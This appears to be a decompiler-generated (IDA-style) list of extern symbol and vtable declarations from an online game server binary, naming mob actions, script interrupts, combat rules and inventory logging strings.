idb extern char aPineeventsc_12[56]; // idb extern char asc_653748[70]; // weak extern char aPineeventsc_11[63]; // idb extern MobTacticElement::MobActionArgument aShineexchange2[]; // idb extern char asc_6537E8[]; // idb extern char aPineeventsc_16[61]; // idb extern MobTacticElement::MobActionArgument aShinedooropen[]; // idb extern char asc_65386C[]; // idb extern MobTacticElement::MobActionArgument aShinedoorclose[]; // idb extern char asc_6538AC[]; // idb extern char aAxiallistmobva[]; // idb extern char aAxiallistmob_0[]; // idb extern char aPineeventsc_17[75]; // idb extern char asc_653970[65]; // weak extern MobTacticElement::MobActionArgument aShinevanish[]; // idb extern char asc_6539C0[]; // idb extern char aPineeventsc_19[61]; // idb extern char aPineeventsc_18[61]; // idb extern char asc_653A70[57]; // weak extern char asc_653AAC[55]; // weak extern MobTacticElement::MobActionArgument aShineregengrou[]; // idb extern char asc_653AF8[]; // idb extern MobTacticElement::MobActionArgument aShinewaituserl[]; // idb extern char asc_653B3C[]; // idb extern MobTacticElement::MobActionArgument aError[]; // idb extern char asc_653B7C[55]; // idb extern MobTacticElement::MobActionArgument aMilliseconds[]; // idb extern MobTacticElement::MobActionArgument aSeconds[]; // idb extern char aMinute[8]; // weak extern char aHours[7]; // weak extern char asc_653BE0[50]; // idb extern MobTacticElement::MobActionArgument unk_653C14; // idb extern char unk_653C24[]; // idb extern char aPineeventsc_42[54]; // idb extern MobTacticElement::MobActionArgument aShinenpcchat[]; // idb extern char asc_653C98[]; // idb extern char aPineeventsc_44[55]; // idb extern MobTacticElement::MobActionArgument aShinenpcshout[]; // idb extern char asc_653D10[]; // idb extern char aPineeventsc_80[52]; // idb extern char aPineeventsc_79[52]; // idb extern MobTacticElement::MobActionArgument aShinesomeonesh[]; // idb extern char asc_653DB8[]; // idb extern char aPineeventsc_82[57]; // idb extern char aPineeventsc_81[54]; // idb extern MobTacticElement::MobActionArgument aShinesummonmob[]; // idb extern char asc_653E70[]; // idb extern MobTacticElement::MobActionArgument aShinequestresu[]; // idb extern char asc_653EB4[]; // idb extern char aPineeventsc_84[57]; // idb extern char aPineeventsc_83[60]; // idb extern MobTacticElement::MobActionArgument aShinereward[]; // idb extern char asc_653F68[]; // idb extern char aPineeventsc_86[69]; // idb extern char aPineeventsc_85[58]; // idb extern MobTacticElement::MobActionArgument aShinebroadcast[]; // idb extern char asc_65402C[]; // idb extern char aPineeventsc_90[54]; // idb extern char aPineeventsc_89[54]; // idb extern char aPineeventsc_88[57]; // idb extern char aPineeventsc_87[57]; // idb extern MobTacticElement::MobActionArgument aShinelinkto[]; // idb extern char asc_654150[]; // idb extern char aPineeventsc_95[56]; // idb extern char aPineeventsc_94[58]; // idb extern char aPineeventsc_93[61]; // idb extern char aPineeventsc_92[54]; // idb extern char aPineeventsc_91[59]; // idb extern MobTacticElement::MobActionArgument aShineitemdrop[]; // idb extern char asc_6542B4[]; // idb extern char aPineeventsc_21[55]; // idb extern char aPineeventsc_20[58]; // idb extern MobTacticElement::MobActionArgument aShinewhoclickm[]; // idb extern char asc_654364[]; // idb extern char aAxiallistiteme[]; // idb extern char aPineeventsc_96[54]; // idb extern char aPineeventsc_22[55]; // idb extern MobTacticElement::MobActionArgument aShineitemerase[]; // idb extern char asc_65443C[]; // idb extern char aPineeventsc_97[56]; // idb extern MobTacticElement::MobActionArgument aShineitemcreat[]; // idb extern char asc_6544B8[]; // idb extern char asc_6544E8[62]; // idb extern char aPineeventsc_98[57]; // idb extern char aPineeventsc_24[59]; // idb extern char aPineeventsc_23[59]; // idb extern MobTacticElement::MobActionArgument aShineinvensear[]; // idb extern char asc_6545F0[]; // idb extern char asc_654620[56]; // idb extern char asc_654658[55]; // idb extern MobTacticElement::MobActionArgument aShinefindhandl[]; // idb extern char asc_6546A0[]; // idb extern char asc_6546D0[69]; // idb extern char asc_654718[56]; // idb extern MobTacticElement::MobActionArgument aShineabstatset[]; // idb extern char asc_654760[]; // idb extern char asc_654790[58]; // idb extern MobTacticElement::MobActionArgument aShineabstatres[]; // idb extern char asc_6547E0[]; // idb extern char aAxiallistmob_2[]; // idb extern char asc_654864[60]; // idb extern MobTacticElement::MobActionArgument aShinesuicide[]; // idb extern char asc_6548B0[]; // idb extern char asc_6548DC[49]; // idb extern char asc_654910[49]; // idb extern MobTacticElement::MobActionArgument aShinerun[]; // idb extern char asc_654950[]; // idb extern MobTacticElement::MobActionArgument aShinewalk[]; // idb extern char asc_654984[]; // idb extern char asc_6549AC[58]; // idb extern MobTacticElement::MobActionArgument aShinemaplight[]; // idb extern char asc_6549F8[]; // idb extern char asc_654A24[56]; // idb extern MobTacticElement::MobActionArgument aShinemapfog[]; // idb extern char asc_654A68[]; // idb extern char asc_654A98[66]; // idb extern char asc_654ADC[60]; // idb extern char asc_654B18[60]; // weak extern MobTacticElement::MobActionArgument aShineeffectobj[]; // idb extern char asc_654B68[]; // idb extern char asc_654B98[66]; // idb extern char asc_654BDC[59]; // idb extern MobTacticElement::MobActionArgument aShineeffectloc[]; // idb extern char asc_654C2C[]; // idb extern char asc_654C5C[52]; // idb extern char asc_654C90[53]; // weak extern MobTacticElement::MobActionArgument aShineaggro[]; // idb extern char asc_654CD4[]; // idb extern MobTacticElement::MobActionArgument aShinemobdetect[]; // idb extern char asc_654D14[]; // idb extern MobTacticElement::MobActionArgument aHp[]; // idb extern MobTacticElement::MobActionArgument aShineanimate[]; // idb extern char asc_654D94[]; // idb extern MobTacticElement::MobActionArgument aShineduplicate[]; // idb extern char asc_654DD0[]; // idb extern MobTacticElement::MobActionArgument aShinewaitidle[]; // idb extern char asc_654E10[]; // idb extern MobTacticElement::MobActionArgument aShinedeathcoun[]; // idb extern char asc_654E54[]; // idb extern char asc_654E88[62]; // idb extern char asc_654EC8[57]; // idb extern MobTacticElement::MobActionArgument aShineitemattrs[]; // idb extern char asc_654F18[]; // idb extern char aFail2[7]; // idb extern char aFail1[7]; // idb extern char asc_654F5C[58]; // idb extern char aFail0[7]; // idb extern char aShinescinarioc[19]; // idb extern MobTacticElement::MobActionArgument aShinescinari_0[]; // idb extern char asc_654FC8[]; // idb extern char asc_654FF8[62]; // idb extern char asc_655038[57]; // idb extern char asc_655074[59]; // idb extern char asc_6550B0[64]; // idb extern MobTacticElement::MobActionArgument aShinebattlesta[]; // idb extern char asc_655104[]; // idb extern char asc_655134[61]; // idb extern MobTacticElement::MobActionArgument stru_655174; // idb extern char asc_6554EC[]; // idb extern char asc_65551C[]; // idb extern MobTacticElement::MobActionArgument aShinechatwindo[]; // idb extern char asc_655568[]; // idb extern MobTacticElement::MobActionArgument aShinechatwin_0[]; // idb extern char asc_6555B0[]; // idb extern MobTacticElement::MobActionArgument aShinemobattrib[]; // idb extern char asc_6555FC[]; // idb extern char aAxiallistobj_0[]; // idb extern char aAxiallistobj_3[]; // idb extern char aPineeventsc_25[75]; // idb extern MobTacticElement::MobActionArgument aShineendofking[]; // idb extern char asc_6556E4[]; // idb extern char aPineeventsc_27[62]; // idb extern char aPineeventsc_26[59]; // idb extern MobTacticElement::MobActionArgument aShineendofmid[]; // idb extern char asc_6557A8[]; // idb extern char asc_6557D8[65]; // weak extern char asc_655820[65]; // weak extern char asc_655864[]; // idb extern char aPineeventsc_29[67]; // idb extern char aPineeventsc_28[64]; // idb extern MobTacticElement::MobActionArgument aShinemidclearc[]; // idb extern char asc_65593C[]; // idb extern char asc_655970[]; // idb extern MobTacticElement::MobActionArgument aShineguildtoru[]; // idb extern char asc_6559C4[]; // idb extern char aPineeventsc_30[59]; // idb extern char asc_655A3C[59]; // weak extern MobTacticElement::MobActionArgument aShinecostumecr[]; // idb extern char asc_655A8C[]; // idb extern char aPineeventsc_31[60]; // idb extern char asc_655AFC[60]; // idb extern MobTacticElement::MobActionArgument aShinecostumeta[]; // idb extern char asc_655B4C[]; // idb extern char aPineeventsc_32[69]; // idb extern MobTacticElement::MobActionArgument aShineweddingco[]; // idb extern char asc_655BE0[]; // idb extern char asc_655C14[]; // idb extern char asc_655C44[]; // idb extern char asc_655C7C[]; // idb extern char aAxiallistbanar[27]; // idb extern char aPineeventsc_34[54]; // idb extern char aPineeventsc_33[57]; // idb extern MobTacticElement::MobActionArgument aShinewhokillme[]; // idb extern char asc_655D4C[]; // idb extern char aClearsavelinkt[]; // idb extern char aSendmapinmobin[]; // idb extern char aSendmapinmob_0[39]; // weak extern char aPineeventsc_35[63]; // idb extern char asc_65619C[]; // idb extern MobTacticElement::MobActionArgument aInterruptcle_0[]; // idb extern char asc_6561E0[]; // idb extern char asc_656218[]; // idb extern char asc_65625C[]; // idb extern char aPineeventscr_8[59]; // idb extern MobTacticElement::MobActionArgument aShinemobregen[]; // idb extern char asc_6562E0[]; // idb extern char aPineeventscr_9[60]; // idb extern MobTacticElement::MobActionArgument unk_656348; // idb extern char unk_65635C[]; // idb extern char aPineeventsc_10[59]; // idb extern MobTacticElement::MobActionArgument unk_6563C8; // idb extern char unk_6563DC[44]; // idb extern char aPineeventsc_15[56]; // idb extern char aPineeventsc_14[46]; // idb extern char aPineeventsc_38[64]; // idb extern char aPineeventsc_37[61]; // idb extern char aPineeventsc_36[49]; // idb extern char aPineeventsc_40[51]; // idb extern char aPineeventsc_39[41]; // idb extern char aGtregisternpcN[29]; // idb extern char pkErrorMsg[23]; // idb extern char aGtregisternpcS[23]; // idb extern char aRegistergtpo_0[26]; // idb extern char aSavelinktoSa_s[20]; // idb extern _UNKNOWN AxialListBanArea::_vftable_; // weak extern _UNKNOWN AxialListRevival::_vftable_; // weak extern char asc_656640[77]; // idb extern char aPineeventsc_43[80]; // idb extern char aPineeventsc_41[74]; // idb extern char asc_65672C[]; // idb extern char aShineregestegu[]; // idb extern char asc_6567A0[]; // idb extern char asc_6567F0[]; // idb extern char asc_65682C[]; // idb extern char aId_failSa_step[]; // idb extern char aKqfailSa_step[]; // idb extern char asc_656880[]; // idb extern char asc_6568B8[]; // idb extern char asc_6568F0[56]; // weak extern char asc_656928[57]; // weak extern char asc_656964[]; // idb extern char asc_656994[]; // idb extern MobTacticElement::MobActionArgument stru_6569C0; // idb extern char aSp_briefinfoqu[]; // idb extern char asc_656D50[]; // idb extern char aZoneconnects_0[]; // idb extern char aOptoolsessionZ[]; // idb extern char aZonelistens_21[]; // idb extern char aZoneconnects_3[]; // idb extern char aZoneringlinkag[]; // idb extern char aGamedbsessi_66[]; // idb extern char aGamedbsessionZ[]; // idb extern char aGamelogsessi_4[]; // idb extern char aGamelogsessi_0[]; // idb extern char asc_656EEC[]; // idb extern char asc_656F1C[]; // idb extern char aClientsessio_1[]; // idb extern char aClientsessionZ[]; // idb extern char aRecallpoint[]; // idb extern char aRecallpointtab[]; // idb extern char aErrorInReadRec[]; // idb extern char a__9dataHero_17[]; // idb extern char a__9dataHero_22[]; // idb extern char asc_6570F0[]; // idb extern char asc_657138[]; // idb extern int (__stdcall *EngNormAtt::_vftable_[4])(int, int, int ef); // weak extern int (__stdcall *EngSklAtt::_vftable_[4])(int, int, int ef); // weak extern char aRtn[]; // idb extern char aAbrate[]; // idb extern char aTotalac[]; // idb extern char aTotalcon[]; // idb extern char aRulesofengagem[]; // idb extern char aRst[]; // idb extern char aItemattack[]; // idb extern char aMasteryrate[]; // idb extern char aMasteryplus[]; // idb extern char aWpt[]; // idb extern char aItem[]; // idb extern char aPurechar[]; // idb extern char aAbstate[]; // idb extern char aUpgrade[]; // idb extern char aStrtotal[]; // idb extern char aRulesofengag_1[]; // idb extern char aRulesofenga_32[]; // idb extern double (__stdcall *RulesOfEngagement::_vftable_[4])(int argument); // weak extern char asc_65739C[]; // idb extern char aAfterFreestatb[]; // idb extern char aShieldFail[]; // idb extern char aShieldSuccess[]; // idb extern char aRulesofenga_17[]; // idb extern double (__stdcall *RulesOfEngagementNormalPY::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementNormalMA::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementPhisycalSkill::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementMagicalSkill::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementAlwaysHit::_vftable_[4])(int argument); // weak extern double (__stdcall *RulesOfEngagementAlwaysCritical::_vftable_[2])(int argument); // weak extern double (__stdcall *RuleOfEngagementHealPower::_vftable_)(int argument); // weak extern double (__stdcall *RuleOfEngagementHealAttack::_vftable_)(int argument); // weak extern char aEngsklattEna_a[]; // idb extern char aDamage[]; // idb extern char aAttackpowerLev[]; // idb extern char aLevelAtt[]; // idb extern char aDefendpower[]; // idb extern char aAttackpower[]; // idb extern char aRulesofenga_26[]; // idb extern char aRulesofengag_8[]; // idb extern char aRulesofenga_27[]; // idb extern char a850[]; // idb extern char aRulesofenga_33[]; // idb extern char aRulesofenga_30[]; // idb extern char aRulesofenga_34[]; // idb extern char aRulesofenga_10[]; // idb extern char aRulesofenga_19[]; // idb extern char aRulesofengag_3[]; // idb extern char aRulesofenga_16[]; // idb extern char aRulesofenga_15[]; // idb extern char aAsSkill[]; // idb extern char aAsNormal[12]; // weak extern char asc_6578E0[]; // idb extern char asc_6578E4[]; // idb extern char aRulesofenga_21[]; // idb extern char aRulesofenga_28[]; // idb extern char aRulesofengag_0[]; // idb extern char aRulesofengag_6[]; // idb extern char aRulesofengag_4[]; // idb extern char aRulesofenga_11[]; // idb extern char aRulesofenga_14[]; // idb extern char aRulesofenga_35[]; // idb extern char asc_657A60[]; // idb extern char aRulesofengag_5[]; // idb extern char aRulesofenga_29[]; // idb extern char aRulesofenga_22[]; // idb extern char aShineobject_31[]; // idb extern char aShineobject_30[]; // idb extern char aShineobject_29[]; // idb extern char aShineobject_28[]; // idb extern char aRulesofenga_25[]; // idb extern char aRulesofenga_13[]; // idb extern char aRulesofenga_12[]; // idb extern char aRulesofengag_7[]; // idb extern char asc_657D28[]; // idb extern char aRulesofenga_23[]; // idb extern char aRulesofengag_9[]; // idb extern char aRulesofenga_31[]; // idb extern char aRulesofenga_20[]; // idb extern char aRulesofengag_2[]; // idb extern char aRulesofenga_24[]; // idb extern char aRuleofengageme[]; // idb extern char aRuleofengage_1[]; // idb extern char aLuascriptsce_1[]; // idb extern int (__stdcall *ScenarioBookShelf::ScenarioBook::_vftable_)(__int16 nItemID); // weak extern char dataHeroS::a[]; // idb extern char a__9dataHeroL_1[30]; // weak extern char aLua[]; // idb extern int (__stdcall *ScenarioBookShelf::ScenarioBookPS::_vftable_)(int fname); // weak extern int (__stdcall *ScenarioBookShelf::ScenarioBookLua::_vftable_)(int fname); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char extend[]; // idb extern char aScenariobook_3[]; // idb extern char aScenariobook_7[]; // idb extern char aScenariobook_8[]; // idb extern int (__stdcall *Movie::PSFilm::_vftable_)(int checkfunc, int arg); // weak extern int (__stdcall *Movie::LuaFilm::_vftable_)(int iti, char nEndureGrade); // weak extern char aMoviePsfilmF_2[]; // idb extern char aMovieTimelimit[]; // idb extern char aMovieTimelim_2[]; // idb extern char aMovieTimelim_0[]; // idb extern char aMovieTheate_10[]; // idb extern char Entrance[]; // idb extern char aMovieTheater_4[]; // idb extern char aMovieTheater_1[47]; // weak extern char aMovieTheater_9[]; // idb extern char aMoviePsfilmFb_[]; // idb extern char aMovieFilmbas_1[]; // idb extern char aMovieCinemacom[]; // idb extern char aMovieFilmcaseF[]; // idb extern char aMoviePsfilmF_0[]; // idb extern char aMovieCinemac_5[]; // idb extern char aScenariobooksh[]; // idb extern char func[]; // idb extern char name[]; // idb extern char aMovieTheater_5[]; // idb extern char aInvalidScriptT[]; // idb extern char aMovieTheate_11[]; // idb extern char aMovieFilmbaseF[]; // idb extern char aMovieCinemac_2[]; // idb extern char aMovieCinemac_8[]; // idb extern char aMovieCinemac_6[]; // idb extern char aScriptError[]; // idb extern char aMovieCinemac_4[]; // idb extern char aMovieCinemac_1[]; // idb extern char aMovieCinemac_7[]; // idb extern char aMovieCinemac_3[]; // idb extern char aScenariobook_1[]; // idb extern char aScenariobook_5[]; // idb extern char aScenariobook_0[]; // idb extern char aScenariobook_6[]; // idb extern char aScriptname[]; // idb extern char aPinescript[]; // idb extern char aScenarioboo_10[]; // idb extern int (*ScriptInterrupt::ScriptInterruptBase::_vftable_)(); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAreaEntry::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAreaLeave::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickHandle::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickAny::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptObjectDeadHandle::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptObjectDeadIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptMobEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPlayerEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptGuildEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptInterval::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPLow::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptTimeOut::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptKillEnemy::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptTargetChange::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPlayerDead::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPickUpItemIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAdmin::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPFull::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPUpper::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptManager::_vftable_[3])(__int16 hnd); // weak extern char aScriptinter_23[]; // idb extern char aScriptinterrup[]; // idb extern char aScriptinter_10[]; // idb extern char aScriptinter_31[]; // idb extern char aScriptinter_13[]; // idb extern char aScriptinter_45[]; // idb extern char aScriptinter_20[]; // idb extern char aScriptinter_29[]; // idb extern char aScriptinter_12[]; // idb extern char aScriptinter_14[]; // idb extern char aScriptinterr_8[]; // idb extern char aScriptinter_35[]; // idb extern char aScriptinter_26[]; // idb extern char aScriptinterr_9[]; // idb extern char aScriptinter_25[]; // idb extern char aScriptinter_36[]; // idb extern char aScriptinter_32[]; // idb extern char aScriptinterr_1[]; // idb extern char aScriptinterr_3[]; // idb extern char aScriptinter_22[]; // idb extern char aScriptinter_44[]; // idb extern char aScriptinter_19[]; // idb extern char aScriptinter_15[]; // idb extern char aScriptinter_16[]; // idb extern char aScriptinterr_7[]; // idb extern char aScriptinter_39[]; // idb extern char aScriptinter_40[]; // idb extern char aScriptinter_27[]; // idb extern char aScriptinterr_2[]; // idb extern char aScriptinterr_4[]; // idb extern char aScriptinterr_5[]; // idb extern char aScriptinter_34[]; // idb extern char aScriptinter_21[]; // idb extern char aScriptinter_17[]; // idb extern char aScriptinter_28[]; // idb extern char aScriptinterr_0[]; // idb extern char aScriptinter_41[]; // idb extern char aScriptinter_38[]; // idb extern char aScriptinter_43[]; // idb extern char aScriptinter_11[]; // idb extern char aScriptinter_24[]; // idb extern char aScriptinter_33[]; // idb extern char aScriptinterr_6[]; // idb extern char aScriptinter_37[]; // idb extern char aScriptinter_18[]; // idb extern char aScriptinter_30[]; // idb extern char asc_65937C[]; // idb extern char aShineobject_32[]; // idb extern int (__stdcall *ScriptInterrupt::ScriptInteruptWinGuild::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern char aWinguild[9]; // weak extern char asc_659438[]; // idb extern char asc_659474[]; // idb extern char asc_6594B0[]; // idb extern char asc_6594F4[]; // idb extern char asc_659528[]; // idb extern char asc_65956C[]; // idb extern char asc_6595A0[]; // idb extern char asc_6595D4[]; // idb extern char asc_659608[]; // idb extern char asc_65963C[]; // idb extern char asc_65966C[]; // idb extern char asc_659698[]; // idb extern char aServermenufu_7[]; // idb extern char aServermenufu_4[]; // idb extern char aServermenufu_5[]; // idb extern char aServermenuf_11[]; // idb extern char aServermenuacto[]; // idb extern char aServermenuac_4[]; // idb extern char aServermenuac_2[]; // idb extern char asc_659920[]; // idb extern char asc_65995C[]; // idb extern char asc_659994[]; // idb extern char asc_6599D0[]; // idb extern char aSetitemdataS_2[]; // idb extern char aSetitemdataS_1[80]; // weak extern char aSetitemdataS_5[]; // idb extern char aSetitemdataS_4[]; // idb extern char aSetitemdataS_3[]; // idb extern char aSetitemdataS_6[]; // idb extern char aSetitemdataSki[]; // idb extern char aAbnormalsta_68[]; // idb extern char aAbnormalstat_3[]; // idb extern char aSetitemdataSet[]; // idb extern char asc_659C80[]; // idb extern char asc_659CB0[]; // idb extern char asc_659CEC[]; // idb extern char asc_659D28[]; // idb extern char asc_659D78[]; // idb extern char asc_659DC4[]; // idb extern char asc_659E00[]; // idb extern char asc_659E50[]; // idb extern char asc_659EA8[]; // idb extern char asc_659EF8[]; // idb extern char asc_659F48[]; // idb extern char asc_659FE8[]; // idb extern char asc_65A040[]; // idb extern char asc_65A0A0[]; // idb extern char asc_65A150[]; // idb extern char asc_65A1A8[]; // idb extern char asc_65A200[]; // idb extern char asc_65A250[]; // idb extern char asc_65A2B0[]; // idb extern char asc_65A300[]; // idb extern char asc_65A358[]; // idb extern char asc_65A3B0[]; // idb extern char asc_65A3FC[]; // idb extern char asc_65A438[]; // idb extern char asc_65A478[]; // idb extern char asc_65A4B8[]; // idb extern char asc_65A518[]; // idb extern char asc_65A568[]; // idb extern char asc_65A5C8[]; // idb extern char asc_65A618[]; // idb extern char asc_65A670[]; // idb extern char asc_65A6B8[]; // idb extern char asc_65A704[]; // idb extern char asc_65A740[]; // idb extern char asc_65A790[]; // idb extern char asc_65A7D0[]; // idb extern char asc_65A828[]; // idb extern char asc_65A870[]; // idb extern char asc_65A8B8[]; // idb extern char asc_65A910[]; // idb extern char asc_65A968[]; // idb extern char asc_65A9C8[]; // idb extern char aShineobject_54[]; // idb extern char aGamedbsessi_68[]; // idb extern char aGamedbsessi_69[]; // idb extern char aGamedbsessi_70[]; // idb extern char aGamedbsessi_71[]; // idb extern char aGamedbsessi_73[]; // idb extern char aGamedbsessi_72[]; // idb extern char asc_65ABC8[]; // idb extern char asc_65AC0C[]; // idb extern char asc_65AC40[]; // idb extern char asc_65AC94[]; // idb extern char asc_65ACC8[]; // idb extern char asc_65AD0C[]; // idb extern char asc_65AD40[]; // idb extern char asc_65AD84[]; // idb extern char asc_65ADB8[]; // idb extern char asc_65ADFC[]; // idb extern char asc_65AE2C[]; // idb extern char asc_65AE6C[]; // idb extern char asc_65AEA0[]; // idb extern char asc_65AEE8[]; // idb extern char aGamedbsessi_75[]; // idb extern char aGamedbsessi_74[]; // idb extern char aGamedbsessi_77[]; // idb extern char aGamedbsessi_76[]; // idb extern char aGamedbsessi_78[]; // idb extern char aGamedbsessi_79[]; // idb extern char asc_65B098[]; // idb extern char asc_65B0E0[]; // idb extern char asc_65B118[]; // idb extern char asc_65B160[]; // idb extern char asc_65B198[]; // idb extern char asc_65B1E8[]; // idb extern char aPlayerHnd[]; // idb extern char aCannotFind[]; // idb extern char aGamedbsessi_80[]; // idb extern char asc_65B274[]; // idb extern char asc_65B2B0[]; // idb extern char asc_65B2F0[]; // idb extern char asc_65B334[]; // idb extern char asc_65B368[]; // idb extern char aGamedbsessi_81[]; // idb extern char aGds_nc_itemd_2[]; // idb extern char aGds_nc_itemdb_[]; // idb extern char aGamedbsessi_82[]; // idb extern char aGamedbsessi_83[]; // idb extern char asc_65B4BC[]; // idb extern char asc_65B4F8[]; // idb extern char asc_65B548[]; // idb extern char asc_65B598[]; // idb extern char asc_65B5D8[]; // idb extern char asc_65B618[]; // idb extern char asc_65B670[]; // idb extern char asc_65B6B8[]; // idb extern char asc_65B6FC[]; // idb extern char aEqu3dI64u_40s[]; // idb extern char aInv3dI64u_40s[]; // idb extern char asc_65B770[]; // idb extern char asc_65B774[]; // idb extern char asc_65B7A8[]; // idb extern char asc_65B818[]; // idb extern char asc_65B898[]; // idb extern char asc_65B8F8[]; // idb extern char asc_65B960[]; // idb extern char aGamedbsessi_84[]; // idb extern char asc_65BA00[]; // idb extern char asc_65BA40[]; // idb extern char asc_65BA8C[]; // idb extern char asc_65BAC8[]; // idb extern char asc_65BB08[]; // idb extern char asc_65BB68[]; // idb extern char asc_65BC78[]; // idb extern char asc_65BCD0[]; // idb extern char asc_65BD28[]; // idb extern char asc_65BD70[]; // idb extern char asc_65BDB8[]; // idb extern char asc_65BE10[]; // idb extern char aItemsmallbag_2[]; // idb extern char asc_65BE80[]; // idb extern char asc_65BEC8[]; // idb extern char asc_65BF0C[]; // idb extern char asc_65C030[]; // idb extern char asc_65C088[]; // idb extern char aGds_nc_itemd_4[]; // idb extern char aInventorylo_54[]; // idb extern char aGamedbsessi_88[]; // idb extern char aInventorylo_48[]; // idb extern char aInventoryloc_5[]; // idb extern char aInventorylo_32[]; // idb extern char aGamedbsessi_87[]; // idb extern char aGds_nc_itemd_1[]; // idb extern char aInventoryloc_7[]; // idb extern char aGamedbsessi_91[]; // idb extern char aGamedbsessi_90[]; // idb extern char aGamedbsessi_89[]; // idb extern char aInventorylo_25[]; // idb extern char aGamedbsessi_92[]; // idb extern char aInvenstatuslog[]; // idb extern char asc_65C510[]; // idb extern char aIteminvento_20[]; // idb extern char aIteminvento_15[]; // idb extern char aIteminventor_9[]; // idb extern char aShineobject_79[]; // idb extern char aShineobject_80[]; // idb extern char asc_65C6B0[]; // idb extern char asc_65C700[]; // idb extern char asc_65C760[]; // idb extern char asc_65C7B0[]; // idb extern char aGamedbsessi_94[]; // idb extern char aGamedbsessi_93[]; // idb extern char aGamedbsessi_96[]; // idb extern char aGamedbsessi_95[]; // idb extern char asc_65C89C[]; // idb extern char aGamedbsessi_97[]; // idb extern char asc_65C908[]; // idb extern char aGamedbsessi_98[]; // idb extern char asc_65C9A0[]; // idb extern char asc_65C9FC[]; // idb extern char asc_65CA28[]; // idb extern char asc_65CA80[]; // idb extern char asc_65CAC0[]; // idb extern char asc_65CB08[]; // idb extern char asc_65CB64[]; // idb extern char asc_65CB98[]; // idb extern char asc_65CC3C[]; // idb extern char asc_65CC70[]; // idb extern char aShineobject_77[]; // idb extern char aShineobject_76[]; // idb extern char asc_65CD1C[]; // idb extern char asc_65CD48[]; // idb extern char asc_65CE04[]; // idb extern char asc_65CE34[]; // idb extern char asc_65CE60[]; // idb extern char asc_65CE8C[]; // idb extern char aItemdismantl_3[]; // idb extern char aItemdismantl_1[]; // idb extern char aItemdismantl_5[]; // idb extern char aItemdismantl_4[]; // idb extern char aItemdismantlep[]; // idb extern char aItemdismantl_2[]; // idb extern char asc_65CFF0[]; // idb extern char asc_65D040[]; // idb extern char asc_65D078[]; // idb extern char asc_65D0A8[]; // idb extern char asc_65D0D4[]; // idb extern char aIteminventor_8[]; // idb extern char aIteminventoryI[]; // idb extern char aIteminventor_5[]; // idb extern char aIteminventor_0[]; // idb extern char aIteminventor_3[]; // idb extern char asc_65D1D0[]; // idb extern char asc_65D220[]; // idb extern char asc_65D260[]; // idb extern char asc_65D294[]; // idb extern char asc_65D2D0[]; // idb extern char asc_65D308[]; // idb extern char asc_65D344[]; // idb extern char asc_65D370[]; // idb extern char asc_65D3B0[]; // idb extern char asc_65D3F4[]; // idb extern char asc_65D424[]; // idb extern char asc_65D450[]; // idb extern char asc_65D47C[]; // idb extern char asc_65D4AC[]; // idb extern char aShineobject_33[]; // idb extern char aShineobject_34[]; // idb extern char asc_65D548[]; // idb extern char aShineobject_51[]; // idb extern char asc_65D5E0[]; // idb extern char asc_65D624[]; // idb extern char asc_65D658[]; // idb extern char asc_65D6B0[]; // idb extern char asc_65D700[]; // idb extern char asc_65D748[]; // idb extern char asc_65D790[]; // idb extern char aEquipsuc[9]; // weak extern char asc_65D7D4[]; // idb extern char asc_65D804[]; // idb extern char aEquipfail[10]; // weak extern char asc_65D83C[]; // idb extern int (__stdcall 